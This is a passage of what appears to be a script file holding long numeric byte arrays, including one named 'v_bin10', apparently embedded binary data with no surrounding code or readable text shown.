0,228,243,92,162,41,123,36,0,238,196,43,79,243,44,40,70,120,209,43,21,48,19,192,41,213,30,90,245,209,196,83,124,225,126,237,253,45,113,245,180,34,187,101,41,184,189,91,80,60,21,180,188,235,244,98,226,175,120,155,245,120,67,114,140,183,157,172,71,23,183,116,153,17,147,174,137,144,202,242,106,239,138,159,201,62,119,244,130,90,2,107,58,219,152,133,135,245,251,126,222,48,21,156,229,111,200,141,232,27,183,125,71,155,56,90,13,71,6,125,110,122,73,205,3,72,254,243,110,73,144,1,246,204,16,7,123,85,54,26,182,167,212,122,54,177,42,16,66,49,34,40,113,35,139,197,136,210,102,76,76,47,80,80,60,34,169,250,33,233,226,119,173,61,255,122,98,29,168,161,218,36,16,138,145,48,247,168,87,152,203,60,47,180,174,31,101,107,75,250,187,35,76,131,86,47,118,31,137,106,235,2,197,165,201,12,234,154,161,119,219,161,86,30,231,243,174,232,57,22,162,216,48,97,229,160,112,209,33,3,5,102,232,9,132,74,248,170,112,192,246,138,147,240,138,113,192,123,147,200,151,79,89,198,9,166,219,6,242,193,186,8,77,160,95,47,180,216,50,162,20,43,139,233,216,2,157,86,141,111,206,202,190,245,36,68,150,120,152,106,142,73,108,197,18,21,128,133,140,143,7,123,159,107,97,125,11,176,161,81,203,199,175,159,95,132,1,23,93,1,172,155,60,237,5,138,209,145,113,59,43,80,228,35,100,90,65,218,78,232,241,116,98,70,202,12,139,244,161,240,102,165,222,121,98,218,95,84,35,119,194,9,92,171,60,109,255,96,170,62,105,25,235,252,73,197,154,189,37,221,241,246,4,52,131,40,82,22,76,209,102,153,241,172,213,177,193,195,174,46,115,68,113,24,191,28,147,139,193,61,1,64,113,161,26,153,133,146,127,31,213,190,49,39,105,246,7,131,176,116,147,0,34,160,93,79,180,196,186,96,183,13,210,218,7,11,232,240,101,245,189,224,184,153,235,63,159,36,13,49,59,225,140,1,140,122,92,66,14,56,126,43,18,15,128,102,134,23,195,152,68,123,135,201,212,160,136,128,119,248,245,182,244,26,4,118,86,146,83,243,126,249,59,204,101,85,119,56,168,6,177,129,202,168,239,146,89,54,55,89,159,88,76,231,62,200,150,85,32,64,77,158,235,104,163,122,224,104,242,171,218,176,94,135,172,217,41,210,153,251,19,232,63,52,36,8,54,54,109,163,79,216,250,179,49,56,96,144,111,43,149,109,123,87,55,105,179,54,205,215,65,247,49,234,104,17,126,86,246,209,226,220,227,108,73,228,82,216,239,186,190,118,79,147,94,124,37,147,92,123,223,13,221,184,98,51,64,215,247,9,179,4,231,138,148,73,185,145,82,160,81,42,46,83,13,81,178,8,159,116,25,141,66,174,186,98,245,14,17,109,15,92,156,62,78,217,77,58,103,39,31,192,63,40,58,125,135,226,35,206,192,172,240,205,153,51,128,237,173,240,208,56,243,66,4,215,249];
var v_bin10 = [167,117,244,37,46,54,123,64,101,192,7,64,206,152,46,129,19,248,224,105,78,152,201,95,101,153,27,197,43,171,93,233,91,42,157,174,66,121,100,199,73,117,155,236,254,132,199,68,218,203,183,143,209,170,211,187,157,228,241,17,117,223,93,243,132,213,57,76,51,85,153,64,116,165,81,151,59,177,1,228,76,252,116,55,174,38,27,244,119,46,162,215,241,172,205,172,1,255,192,156,103,223,148,238,160,225,216,39,60,241,125,224,51,46,79,68,89,191,123,127,147,78,154,80,210,253,90,128,200,16,159,231,227,115,92,106,172,131,79,229,200,130,96,243,226,27,247,216,33,201,63,84,2,112,18,14,6,140,22,184,167,11,49,224,63,20,68,127,202,12,247,181,231,224,241,13,234,180,61,129,109,251,106,112,83,195,146,7,59,21,84,37,249,85,34,103,0,200,184,82,158,41,15,199,95,1,226,84,184,142,61,145,137,196,20,84,4,221,206,73,91,98,79,46,182,32,62,157,4,147,96,107,39,197,156,13,173,156,104,183,134,69,181,76,217,203,87,237,201,113,96,152,170,60,174,29,161,203,186,143,234,196,95,97,52,44,58,86,18,185,130,79,77,46,143,112,71,8,93,81,195,226,214,252,18,22,55,190,155,61,224,134,211,130,128,178,58,180,58,227,170,102,69,6,5,69,71,96,134,177,82,226,74,212,235,55,9,47,170,145,202,12,111,216,63,248,188,223,26,213,85,157,30,85,244,119,184,198,104,16,88,199,100,34,161,175,143,183,223,93,204,21,173,229,126,148,125,96,214,19,26,140,49,199,197,95,152,185,19,111,120,137,215,76,17,182,149,82,232,165,57,64,209,50,243,35,189,128,200,187,180,103,74,106,9,247,185,34,203,255,246,11,243,229,213,174,243,158,93,41,168,211,159,139,99,49,122,77,182,189,114,52,248,105,173,222,171,244,200,6,245,248,181,23,22,175,51,151,163,54,106,124,124,70,207,21,111,253,105,25,228,59,116,130,25,17,197,189,207,174,42,243,35,122,83,53,162,205,197,89,211,220,169,51,249,61,96,131,150,149,141,68,221,188,45,94,189,118,91,120,149,129,13,103,35,234,168,62,230,190,213,200,155,112,228,114,239,125,133,82,13,215,133,230,119,173,34,237,10,106,29,54,246,94,17,181,146,240,79,226,244,52,219,211,124,233,170,172,24,66,0,11,96,139,154,240,97,196,200,28,247,211,238,194,12,109,179,125,110,219,141,150,156,62,98,160,195,63,208,98,246,142,158,127,80,168,28,38,182,211,56,42,72,219,14,237,109,110,173,188,31,114,96,208,229,210,67,10,120,134,38,171,104,20,136,113,161,247,85,65,66,111,243,158,208,137,249,108,1,160,241,205,135,7,242,159,107,12,56,226,68,191,45,33,144,229,100,154,248,110,93,16,76,188,27,3,0,2,13,150,108,125,111,124,250,102,214,194,123,176,140,51,144,56,179,184,151,224,204,143,56,239,27,6,153,37,176,150,185,63,224,44,58,174,252,113,154,33,143,193,251,151,75,206,30,117,227,135,46,176,36,32,42,75,123,203,123,243,71,208,245,35,235,138,206,22,120,52,69,173,34,121,135,46,107,178,242,119,201,190,252,221,99,8,170,107,85,37,123,128,217,126,30,143,208,154,17,0,133,214,102,183,162,205,222,185,34,27,65,225,80,3,200,124,72,220,224,152,45,127,241,101,150,127,107,154,124,208,92,210,235,227,87,47,251,184,109,243,46,208,216,71,98,134,158,17,0,54,234,215,53,82,201,63,97,141,97,32,237,227,21,98,48,102,69,14,34,179,113,241,9,40,101,33,100,125,247,59,218,54,109,64,74,185,100,211,249,197,60,237,130,218,114,13,81,101,230,190,14,147,200,228,158,9,114,74,46,207,243,157,2,235,244,129,88,201,52,237,97,94,205,188,95,72,100,103,225,162,140,171,7,127,23,255,158,74,218,118,58,164,93,161,93,195,0,243,140,153,89,193,24,95,17,136,185,86,90,45,11,64,198,0,116,63,36,226,142,131,7,63,106,72,22,248,107,102,158,199,0,94,46,143,22,198,18,55,139,238,21,41,226,131,182,133,13,222,96,137,141,114,32,141,35,159,111,157,141,196,237,44,28,191,147,7,134,246,210,216,35,243,237,136,33,192,111,233,149,101,100,163,223,70,186,195,115,181,218,123,219,228,162,217,40,97,59,97,130,169,60,144,45,34,147,243,240,216,205,44,129,25,105,81,66,210,86,122,218,108,178,122,246,103,69,9,12,59,116,162,250,163,79,214,135,35,38,183,163,137,137,252,65,185,5,215,65,142,36,59,120,199,106,61,191,71,59,123,51,160,154,249,162,143,14,154,129,167,213,22,125,6,17,250,196,75,80,131,217,187,195,74,50,198,47,173,117,134,143,12,43,60,23,224,187,173,180,192,15,123,44,221,129,213,149,150,152,169,207,193,104,250,171,53,67,30,126,7,35,28,14,109,43,41,65,141,120,214,146,255,213,108,28,196,19,187,247,192,150,19,80,23,98,220,156,92,94,172,48,199,52,81,252,123,250,121,24,62,60,80,48,82,252,206,202,210,200,83,44,204,51,194,150,137,23,163,83,99,154,65,224,175,174,190,178,27,31,183,217,139,228,161,113,58,56,179,146,95,16,175,122,222,83,169,111,123,233,136,207,231,46,47,220,58,247,144,189,217,46,223,83,147,218,40,38,2,90,108,44,218,18,228,165,173,182,199,39,159,32,163,177,51,78,214,42,62,165,224,139,55,51,249,181,216,174,180,182,114,149,172,230,217,231,17,181,53,187,200,95,91,53,187,94,68,197,125,181,212,134,175,148,134,91,199,80,53,186,18,157,38,162,255,206,112,188,102,85,243,221,2,54,59,178,189,126,121,112,88,3,156,116,70,155,4,178,90,249,232,23,251,122,40,248,195,146,207,243,186,213,81,159,218,199,1,49,91,221,95,199,236,57,126,7,72,182,45,161,102,62,119,170,135,115,133,96,133,238,127,86,40,146,151,211,76,107,239,125,156,26,202,179,111,105,186,96,67,40,226,176,197,101,1,251,102,164,146,46,55,221,5,36,152,186,140,14,44,39,113,6,131,172,191,72,156,115,130,30,224,117,217,77,7,191,66,33,157,175,133,40,12,149,254,180,28,131,76,142,198,195,110,102,69,138,89,74,33,18,199,147,57,214,108,203,172,104,126,243,1,24,206,101,218,147,71,202,243,103,118,227,127,225,11,111,0,105,192,128,15,36,89,95,7,152,219,205,90,73,125,52,234,105,60,190,217,123,104,217,106,8,255,94,210,43,220,36,112,224,233,63,156,173,36,47,165,225,121,225,28,107,98,228,119,238,246,51,69,208,251,47,221,70,106,2,74,103,225,12,240,162,198,135,189,91,236,138,86,93,191,176,104,241,187,189,246,180,147,17,100,162,53,205,17,54,216,14,53,18,20,101,18,62,174,172,21,134,89,0,107,216,12,187,129,186,55,27,138,95,48,102,191,14,246,25,185,24,109,39,121,4,94,118,42,215,75,217,78,126,25,42,111,8,249,115,232,223,240,190,146,73,231,102,117,52,59,94,138,97,109,10,221,216,228,36,125,23,173,164,74,254,218,79,31,134,11,210,90,12,143,254,102,188,71,187,95,124,204,133,221,37,7,153,182,249,174,201,93,115,23,40,41,231,72,249,113,194,246,41,55,81,195,184,205,209,110,167,37,165,237,9,216,162,35,23,196,213,150,199,237,166,216,250,163,23,124,118,212,122,225,65,96,203,183,218,18,71,119,204,124,186,243,115,101,76,22,205,160,75,176,174,17,127,20,109,94,11,218,214,27,229,48,221,197,133,95,195,204,78,11,121,184,12,206,253,194,27,188,70,4,142,109,31,22,87,59,47,113,52,175,177,58,235,254,213,190,110,166,18,214,247,124,245,81,144,201,111,23,170,101,213,64,182,73,73,31,237,132,243,17,236,17,172,68,151,190,126,212,138,199,214,64,254,18,105,14,77,169,37,72,19,10,21,55,51,185,216,149,156,19,187,200,28,175,171,27,163,12,160,232,95,231,118,105,146,131,211,194,152,147,122,24,175,33,242,43,163,177,29,108,101,20,40,193,150,148,0,223,1,81,206,203,149,7,136,170,76,43,17,91,14,157,199,204,44,188,50,110,196,50,81,36,164,210,209,124,201,69,208,169,181,3,161,50,188,101,96,147,193,68,213,26,31,103,31,100,135,193,5,40,243,17,12,22,115,92,29,113,243,75,41,80,234,222,181,36,17,72,55,43,193,48,66,64,126,190,111,205,104,128,171,100,105,173,221,189,220,134,180,135,103,221,89,157,192,245,233,151,82,207,107,214,38,73,124,11,227,223,180,204,162,134,102,116,102,89,224,222,197,211,159,218,252,6,221,68,148,161,34,27,130,65,121,5,67,171,154,125,121,22,106,139,82,47,57,192,11,38,42,4,57,35,254,57,192,149,236,49,93,136,145,79,223,82,224,62,78,247,84,122,12,140,152,19,94,24,224,123,73,3,212,242,174,215,187,86,197,131,1,28,12,58,55,159,122,80,159,17,124,97,180,58,140,238,167,39,199,128,198,20,173,147,250,109,96,102,39,82,21,1,128,64,215,208,229,40,73,237,166,89,108,57,231,221,151,60,111,230,224,135,211,146,26,1,38,68,148,241,234,246,65,12,30,226,51,147,191,41,189,105,94,250,138,28,155,76,155,92,143,134,191,110,172,91,57,19,242,180,66,143,58,182,191,7,170,15,169,148,135,168,17,174,139,18,84,80,215,50,129,4,164,7,240,114,201,21,171,239,166,198,188,215,200,143,37,185,66,158,138,141,220,121,41,54,143,70,166,7,8,179,25,209,120,35,74,57,142,25,16,161,17,180,14,243,161,244,182,231,108,99,141,172,68,180,79,0,228,72,103,239,218,159,22,232,219,219,79,111,201,227,66,194,174,219,235,174,126,57,158,12,109,91,166,139,102,191,35,251,237,217,233,239,8,222,158,5,217,68,1,216,172,110,245,185,30,173,75,134,36,108,25,83,106,217,41,14,172,42,241,141,204,233,147,195,98,14,73,80,190,79,220,62,134,89,47,123,201,158,243,3,221,146,217,42,223,194,250,199,217,5,128,14,82,216,41,25,209,219,67,210,230,85,223,244,190,110,25,205,236,72,165,218,184,151,222,201,132,172,234,221,254,196,130,96,4,78,200,185,237,145,131,129,160,24,59,23,146,133,135,125,232,182,15,106,140,38,113,211,91,11,230,210,82,16,98,173,16,219,144,234,94,254,78,237,39,252,251,79,248,106,157,242,198,204,204,241,29,229,17,4,105,233,157,235,196,45,147,5,49,180,103,93,255,49,152,20,162,140,76,26,147,124,75,44,89,79,142,154,204,75,153,74,195,228,206,64,111,95,191,161,17,198,96,232,160,238,15,143,41,7,58,215,62,184,254,159,154,147,222,175,51,87,34,19,131,80,74,176,211,16,147,188,183,132,33,197,89,155,137,225,24,15,169,46,168,0,246,178,166,105,112,81,4,185,167,7,227,179,130,71,234,101,150,63,186,130,9,21,194,252,209,130,99,94,17,241,166,19,106,164,164,117,102,239,92,44,244,136,110,27,209,67,42,46,16,137,196,22,36,18,79,76,143,163,141,151,24,196,46,173,121,215,94,72,167,43,46,83,67,133,40,24,43,225,149,103,151,235,243,38,255,195,1,97,208,236,209,28,35,234,44,52,119,62,21,9,34,22,236,1,73,141,116,18,246,105,92,129,167,217,109,22,54,40,252,9,11,153,236,60,8,226,50,8,196,13,182,159,19,151,121,242,134,102,250,61,232,242,82,166,28,237,223,109,167,41,237,133,68,45,96,14,194,23,40,125,42,222,16,49,148,96,227,36,160,171,136,58,56,11,56,53,118,176,244,168,50,38,59,20,216,41,110,75,166,33,178,129,234,164,176,220,251,253,77,2,110,148,184,166,67,5,78,92,34,108,106,13,136,16,193,223,0,78,165,196,197,187,3,225,202,18,118,187,49,136,115,8,197,186,168,84,250,159,173,164,113,190,123,126,16,49,41,90,53,94,162,87,31,79,240,0,143,52,60,230,23,54,250,169,202,32,188,139,232,93,234,92,148,178,215,92,81,5,218,78,140,25,147,23,3,55,248,151,148,220,9,251,30,103,93,183,126,202,47,227,132,45,238,10,211,72,64,176,11,122,131,81,217,125,89,248,143,150,21,162,19,95,232,115,253,53,209,65,50,156,147,179,10,246,130,99,251,120,61,163,129,58,134,222,80,45,25,133,204,218,29,32,163,89,67,46,83,131,37,249,32,184,219,175,141,225,185,136,20,219,174,187,244,88,79,181,47,17,206,61,169,60,43,177,5,52,227,58,85,22,39,160,16,181,253,178,23,205,84,193,6,181,111,31,106,250,166,12,131,166,40,101,235,181,112,143,117,10,7,119,160,245,147,114,243,84,2,232,224,234,125,44,231,108,143,52,120,79,104,143,45,148,186,39,242,20,61,190,29,142,204,33,223,102,200,216,123,117,143,222,239,207,196,240,23,135,232,86,255,72,28,177,178,213,79,7,84,104,185,24,126,40,172,200,103,250,88,170,213,185,231,179,111,183,102,41,156,37,111,210,4,240,78,129,102,57,131,131,189,169,164,136,109,139,115,100,26,244,91,236,240,28,116,43,48,177,64,0,142,185,123,11,109,138,153,80,56,87,154,103,135,190,189,244,62,11,22,149,195,171,31,165,32,133,149,108,28,124,249,111,46,86,176,67,107,54,123,133,108,165,83,11,157,148,70,165,99,206,125,231,128,221,124,134,24,95,144,195,75,2,31,87,206,216,201,158,99,43,2,84,106,43,31,197,165,15,207,12,103,209,158,178,112,61,32,233,239,223,142,245,107,8,197,172,12,114,51,121,210,53,74,2,233,69,222,212,187,91,153,65,173,49,96,54,130,131,249,44,124,177,15,93,254,21,128,137,65,146,89,186,207,120,208,104,105,100,4,223,238,11,142,244,121,113,103,146,219,26,176,72,34,35,237,222,191,218,240,241,220,57,12,74,226,87,231,37,13,58,145,199,251,105,193,11,137,98,241,63,51,78,12,189,207,218,173,202,184,174,232,158,27,234,130,45,94,201,110,197,70,34,75,145,228,42,130,252,193,114,199,90,185,207,190,5,118,209,207,245,231,129,245,54,184,192,27,186,182,32,109,111,186,60,165,71,119,93,211,221,148,47,163,225,146,89,220,184,239,208,87,6,82,72,61,141,223,240,70,223,39,205,250,216,222,207,84,126,194,69,29,47,30,0,198,224,24,100,176,217,213,230,15,149,253,78,15,120,201,155,72,156,73,13,156,36,201,98,73,76,131,198,61,154,14,159,16,204,203,22,217,52,45,1,39,250,74,151,222,140,16,67,165,78,158,194,230,236,94,251,133,172,192,40,230,70,8,194,49,147,63,58,86,89,202,236,247,244,105,134,29,108,90,57,178,26,32,70,236,232,96,197,155,191,103,65,143,137,67,139,63,176,234,220,47,220,178,134,5,204,30,90,125,248,9,245,227,230,174,132,163,210,175,107,50,180,108,107,146,199,137,209,195,66,65,232,178,75,252,215,16,119,57,169,207,68,144,120,143,142,68,156,202,62,0,2,84,134,176,102,74,30,42,83,7,241,152,146,103,39,9,13,201,84,20,110,187,170,46,69,155,69,75,23,90,35,114,25,51,105,143,74,55,112,112,107,204,207,183,175,159,244,95,240,223,23,254,6,105,81,114,110,173,31,253,217,36,237,128,239,93,226,231,227,174,250,253,170,185,195,165,43,28,227,3,108,23,113,109,252,1,249,252,171,46,152,229,45,25,84,159,243,65,0,73,51,168,118,111,167,241,46,2,96,10,187,249,50,217,61,185,44,190,147,86,158,78,132,152,46,180,1,10,21,204,7,199,200,75,0,75,209,113,175,86,63,223,11,95,104,106,0,217,151,228,73,49,67,2,101,27,231,45,247,70,176,219,208,159,249,241,6,17,162,199,135,123,212,164,205,170,205,234,67,41,146,255,47,132,184,152,218,209,172,241,1,59,124,91,239,179,192,13,245,4,251,226,189,137,16,177,59,43,183,240,40,221,202,163,106,59,87,74,116,149,33,88,34,155,167,66,192,61,63,79,81,44,120,14,59,17,83,149,2,65,215,156,62,173,231,65,93,105,109,33,110,7,140,231,223,31,215,68,59,76,137,196,209,247,219,192,122,154,94,163,29,65,214,66,171,73,60,114,71,109,163,232,222,201,135,225,13,82,252,195,47,47,62,186,251,56,71,172,230,249,141,55,121,227,161,200,243,116,155,163,110,9,89,190,255,22,137,69,19,82,166,218,132,237,184,155,191,194,181,54,230,38,99,103,75,181,21,88,66,226,55,98,241,192,231,207,200,168,164,178,177,59,79,98,70,225,47,214,245,68,31,13,240,248,158,6,58,163,179,96,112,167,112,68,168,159,246,138,196,183,133,135,104,72,155,70,93,120,80,185,178,54,202,111,106,235,134,42,245,153,32,92,204,91,108,229,10,198,69,145,212,18,103,221,97,84,196,172,184,68,155,34,204,54,112,226,234,214,117,26,220,204,224,191,41,41,24,82,245,255,235,163,240,211,143,7,186,53,36,172,15,236,138,60,218,30,151,132,196,232,195,116,209,177,178,57,148,41,237,218,10,147,80,225,132,136,26,103,32,214,230,83,154,23,154,10,150,95,208,59,237,240,129,208,200,159,201,167,220,113,234,247,17,225,178,219,97,57,151,111,47,133,188,235,54,184,204,93,46,31,188,9,233,160,114,122,128,184,100,56,40,234,65,167,40,159,75,26,101,43,152,238,21,123,119,119,35,150,214,13,98,194,247,49,157,204,138,153,79,121,221,25,236,95,138,205,152,67,175,105,114,7,242,6,234,137,191,11,76,34,236,204,223,174,87,78,19,45,74,11,117,69,136,12,70,205,109,246,211,142,17,12,14,106,119,179,32,236,42,67,103,3,23,151,199,37,40,4,239,85,178,201,9,108,77,119,154,255,61,142,13,114,168,253,210,169,101,246,129,33,199,120,147,63,224,21,150,40,107,91,145,206,32,115,101,239,104,110,244,39,48,30,159,124,35,23,190,60,72,41,117,56,145,105,125,13,164,129,139,147,10,48,26,148,252,130,18,92,226,74,10,168,86,122,225,83,74,198,61,150,33,217,142,88,160,120,130,244,157,43,87,235,103,255,9,77,120,205,7,10,153,231,98,99,126,215,119,153,158,212,123,117,23,226,114,238,184,108,37,10,72,108,198,128,122,214,169,176,179,15,42,154,12,83,5,96,66,0,20,166,237,198,119,124,28,163,33,245,193,39,248,196,149,119,88,40,34,241,184,236,210,99,207,231,147,110,39,12,90,236,55,229,208,52,52,174,96,110,16,192,171,133,186,121,242,140,155,145,226,103,165,199,24,68,218,2,12,11,65,214,196,210,116,148,137,197,27,166,8,50,170,144,23,92,16,93,210,20,18,177,245,227,45,229,172,92,6,107,230,70,178,19,166,52,22,119,54,134,152,245,203,180,121,159,108,12,40,203,249,246,79,219,162,69,144,220,6,166,81,191,201,127,17,95,196,199,153,135,118,72,226,118,4,2,96,246,222,46,29,204,126,243,90,5,67,18,251,212,201,88,254,233,180,119,23,49,80,63,92,204,251,235,239,236,91,134,5,205,62,169,217,43,138,113,158,230,67,169,76,22,146,94,60,98,217,89,22,107,177,108,116,71,133,75,130,119,136,207,214,111,143,1,251,4,3,205,198,178,246,43,180,151,182,230,90,9,197,28,96,186,204,49,135,191,196,143,27,12,146,249,254,204,145,157,64,100,204,215,149,44,229,210,117,0,85,34,251,57,52,248,107,191,83,212,102,152,92,58,234,192,6,58,59,204,27,163,43,32,146,56,86,104,11,13,104,26,186,193,234,166,9,245,172,112,242,16,35,80,232,135,185,187,151,207,98,250,246,57,116,227,217,194,141,216,92,91,86,189,189,22,56,226,56,151,172,153,30,252,96,144,16,151,178,112,189,11,120,186,25,33,113,28,233,22,22,100,112,136,190,172,231,143,220,114,52,237,253,99,111,255,91,254,135,110,218,118,33,29,120,156,134,40,124,150,130,161,158,68,77,211,11,149,191,37,155,117,191,189,249,230,115,220,65,208,70,248,79,88,168,59,218,197,82,195,187,250,25,67,0,56,79,96,88,134,185,206,53,168,134,58,113,84,232,161,139,96,167,85,67,134,110,138,29,236,174,243,4,179,165,56,137,90,138,22,132,143,75,199,18,52,45,72,202,93,185,21,79,215,115,134,136,61,230,141,19,120,241,85,169,182,113,17,194,70,65,58,157,91,55,98,104,81,27,97,158,65,83,34,224,66,226,159,94,131,47,67,207,103,214,103,97,60,253,55,248,175,243,252,160,191,128,223,219,68,237,22,111,215,229,76,78,96,77,109,232,197,102,155,121,62,130,244,1,25,115,146,126,188,100,245,17,233,43,27,0,57,125,15,65,14,42,217,52,83,175,138,119,14,27,15,168,198,190,96,4,37,9,120,106,90,250,111,71,234,83,248,113,17,101,186,108,220,197,65,0,164,187,40,40,69,191,230,56,18,54,78,158,215,209,123,195,173,171,150,19,9,246,80,200,135,18,153,224,97,203,47,241,150,207,198,121,80,93,71,170,42,102,243,40,209,230,237,129,100,136,161,226,41,145,102,31,102,141,113,8,142,194,251,206,219,223,25,61,70,161,76,49,191,218,101,19,117,114,16,174,214,248,222,40,70,134,165,124,167,29,128,57,204,153,58,29,183,250,235,95,27,236,95,146,246,217,239,237,128,93,2,198,179,20,110,186,151,77,217,68,121,31,81,41,151,147,162,24,123,55,167,110,113,98,53,15,234,119,26,156,249,177,208,152,151,103,91,195,142,32,178,186,219,80,72,230,69,94,206,78,151,83,25,164,12,170,218,71,205,83,172,206,164,98,117,203,222,81,23,60,126,229,62,66,137,121,48,3,201,160,241,115,75,84,250,24,242,77,108,104,146,212,178,171,227,129,41,155,80,125,143,29,242,249,30,61,106,241,124,162,115,182,222,52,135,60,180,230,174,36,197,60,72,156,9,140,3,61,125,22,139,180,198,184,179,234,114,32,171,240,36,106,73,241,169,4,138,58,91,74,0,219,140,161,86,237,107,152,130,179,222,73,76,108,135,27,114,236,211,90,202,108,191,145,24,54,209,200,81,108,228,23,63,226,99,150,33,86,222,118,10,231,187,155,1,175,128,213,109,15,255,117,168,173,72,216,220,182,194,118,85,32,104,18,16,62,181,105,143,38,50,13,71,200,10,219,167,176,184,138,80,186,185,52,182,86,215,60,139,215,5,159,76,44,33,150,180,241,180,61,224,47,13,43,236,105,52,223,115,47,207,194,145,84,227,146,147,45,156,40,86,144,139,25,206,128,59,30,24,76,118,81,130,165,123,87,213,156,151,199,115,13,206,100,205,204,232,24,128,170,81,126,180,6,234,242,127,105,179,22,196,104,220,28,75,243,128,198,200,232,39,253,229,115,1,53,145,8,193,48,196,211,103,217,109,25,58,215,125,150,71,58,80,145,10,68,229,52,216,145,225,62,50,11,205,204,95,247,42,153,71,130,35,25,119,186,234,168,31,111,40,205,16,195,58,234,212,54,247,232,172,157,79,247,137,126,217,154,100,2,137,113,180,27,36,101,170,243,20,36,62,63,204,23,185,15,80,170,61,99,26,8,207,68,221,200,52,222,39,227,46,236,43,112,167,106,2,127,62,9,16,139,245,43,19,153,233,208,7,1,178,240,125,156,131,38,148,52,147,229,43,230,117,26,255,196,50,128,34,44,218,150,176,79,234,20,205,115,167,120,81,88,91,35,98,193,168,99,33,100,180,223,252,123,67,11,11,87,136,99,152,148,143,67,37,169,10,44,107,37,27,37,123,195,238,54,50,155,20,204,10,252,12,61,9,18,203,180,54,232,240,186,35,209,18,200,229,216,224,231,217,128,184,168,199,220,198,130,180,203,181,100,248,177,209,98,85,103,252,230,188,144,95,80,180,187,208,113,238,200,0,203,58,130,111,112,251,2,131,149,246,232,47,218,125,190,127,44,191,21,236,244,61,91,10,129,142,149,231,45,193,243,129,146,177,177,136,16,218,210,246,163,41,157,172,75,58,120,212,22,50,185,171,115,168,97,160,181,113,164,29,7,141,159,42,121,166,129,202,79,45,89,84,200,209,214,22,193,131,93,0,145,7,111,42,183,115,169,216,44,105,119,213,140,2,234,173,28,84,212,188,98,165,24,145,74,251,186,250,214,89,248,0,197,152,159,107,118,65,58,205,129,209,113,160,180,119,11,241,58,59,130,143,193,166,79,127,108,250,86,131,242,230,55,138,67,136,83,80,193,246,49,29,218,46,226,24,64,215,249,211,131,238,117,194,39,9,238,206,236,181,225,205,188,103,78,182,194,237,59,43,6,241,180,19,94,51,188,64,34,34,239,7,189,175,121,12,9,216,1,80,128,40,212,253,106,117,197,218,218,77,193,164,195,39,245,108,154,127,108,238,53,119,177,196,197,231,235,157,72,187,211,20,102,31,222,17,153,189,156,247,253,133,11,189,190,12,100,112,96,77,193,70,51,218,111,243,84,180,52,194,225,61,85,8,248,124,247,242,132,104,79,121,61,231,4,228,154,226,138,227,247,203,149,216,177,29,45,118,250,208,161,123,184,115,128,228,100,225,101,99,252,221,13,99,208,90,233,79,133,177,123,142,123,155,66,71,69,186,109,73,226,5,89,195,25,69,144,41,64,26,132,44,194,117,129,72,187,115,84,118,37,20,106,58,15,172,21,121,84,153,35,211,124,197,14,110,135,211,28,201,226,201,235,72,243,55,209,222,234,254,23,43,229,112,94,210,0,123,201,239,18,156,13,41,247,202,253,240,114,142,83,43,125,63,80,81,14,151,85,47,26,250,87,235,84,175,92,107,181,9,252,171,196,192,215,82,60,134,233,91,58,86,252,175,79,71,209,151,62,129,80,93,81,149,104,7,7,85,194,76,218,131,51,240,98,213,22,18,151,152,183,200,132,180,89,70,141,176,82,155,86,212,0,86,211,106,113,46,8,38,150,233,145,24,173,178,83,177,136,116,223,194,225,84,120,117,179,110,144,143,56,132,57,101,210,92,56,144,237,164,84,56,71,155,106,8,175,46,222,51,69,81,151,152,26,18,199,181,177,29,36,99,187,114,106,95,163,45,243,210,222,213,100,185,83,41,181,149,101,216,132,147,190,222,125,135,148,30,108,10,121,222,185,97,219,214,203,166,58,61,207,193,251,251,137,32,20,123,181,232,207,23,30,214,66,56,142,187,235,214,53,218,73,135,177,130,22,162,234,104,166,95,129,109,11,246,1,115,172,250,253,70,80,23,147,22,235,158,94,19,41,86,141,99,85,238,246,28,111,100,230,236,58,194,115,92,109,109,221,197,76,225,91,8,156,131,178,101,53,16,38,45,231,57,61,84,73,215,179,149,2,200,9,239,199,30,243,33,142,9,238,231,65,204,218,161,167,54,97,245,112,167,140,157,8,220,48,165,124,147,196,42,115,12,245,182,220,37,147,43,124,73,255,7,179,216,62,188,52,190,233,61,126,227,166,164,63,103,216,28,113,91,191,14,220,226,198,160,60,115,13,32,25,206,143,208,82,156,63,128,160,124,159,178,96,117,42,162,116,46,122,142,8,136,144,140,246,245,56,187,20,177,211,168,48,105,170,9,33,240,155,105,235,146,231,5,247,51,203,68,89,45,201,120,226,106,225,210,63,224,126,166,110,179,252,144,168,243,82,126,89,210,193,123,239,53,133,9,216,154,120,2,237,138,1,206,165,123,1,70,3,191,213,178,221,152,124,135,48,69,172,231,62,217,6,130,9,226,253,139,135,45,237,24,24,238,153,211,215,214,89,230,58,127,121,45,199,92,253,60,75,170,21,51,62,134,61,190,154,28,55,97,69,168,189,178,202,122,169,189,117,181,132,252,53,159,220,49,251,208,137,97,53,4,114,106,131,236,58,39,232,93,217,79,200,134,97,119,37,147,47,246,131,195,134,170,161,139,132,105,178,9,241,71,138,101,188,193,111,45,118,93,212,235,200,30,19,47,122,51,207,13,74,128,215,154,27,217,115,254,248,206,229,217,76,210,151,28,155,79,6,106,9,106,137,115,16,187,18,105,232,9,1,5,201,155,214,113,91,184,220,180,90,144,79,69,128,106,91,237,2,247,241,208,229,164,127,10,10,182,252,225,239,249,8,205,47,30,241,172,245,63,175,238,226,173,32,220,50,237,211,102,13,113,217,221,110,106,65,251,77,224,70,3,192,40,127,0,86,255,40,100,109,220,104,166,136,103,1,131,187,91,100,105,133,100,38,103,79,103,186,182,199,4,204,39,239,54,57,160,154,15,241,145,71,121,110,186,44,217,173,4,109,75,153,152,35,51,91,23,34,167,190,66,89,242,205,94,97,245,44,18,32,58,136,120,29,143,142,89,149,46,8,192,50,45,108,161,68,36,231,245,100,35,104,166,13,103,144,135,59,135,101,21,156,231,124,134,196,6,151,30,66,84,226,223,64,141,17,58,88,161,54,80,126,252,245,174,42,146,52,194,85,253,194,141,100,153,222,135,206,36,191,173,56,37,155,179,47,165,233,70,98,208,236,200,204,126,15,89,100,119,192,248,40,56,136,166,101,231,193,230,99,126,241,112,83,137,10,197,193,244,238,199,102,46,166,28,229,61,148,145,147,54,79,183,144,43,212,55,87,52,69,113,252,24,108,111,233,157,138,151,141,104,203,67,206,205,174,91,49,41,172,88,237,32,238,204,86,197,1,171,54,10,155,106,6,228,238,143,166,13,2,208,159,253,175,209,202,77,225,143,66,102,144,40,14,72,50,126,169,177,102,145,113,135,247,86,153,69,72,7,112,98,147,80,117,101,84,64,14,89,10,176,182,115,8,232,109,189,104,38,61,25,238,239,132,153,5,218,171,230,132,14,163,213,184,147,65,173,197,118,226,29,254,88,96,76,161,199,47,38,208,168,190,194,251,72,226,49,152,251,133,86,81,225,124,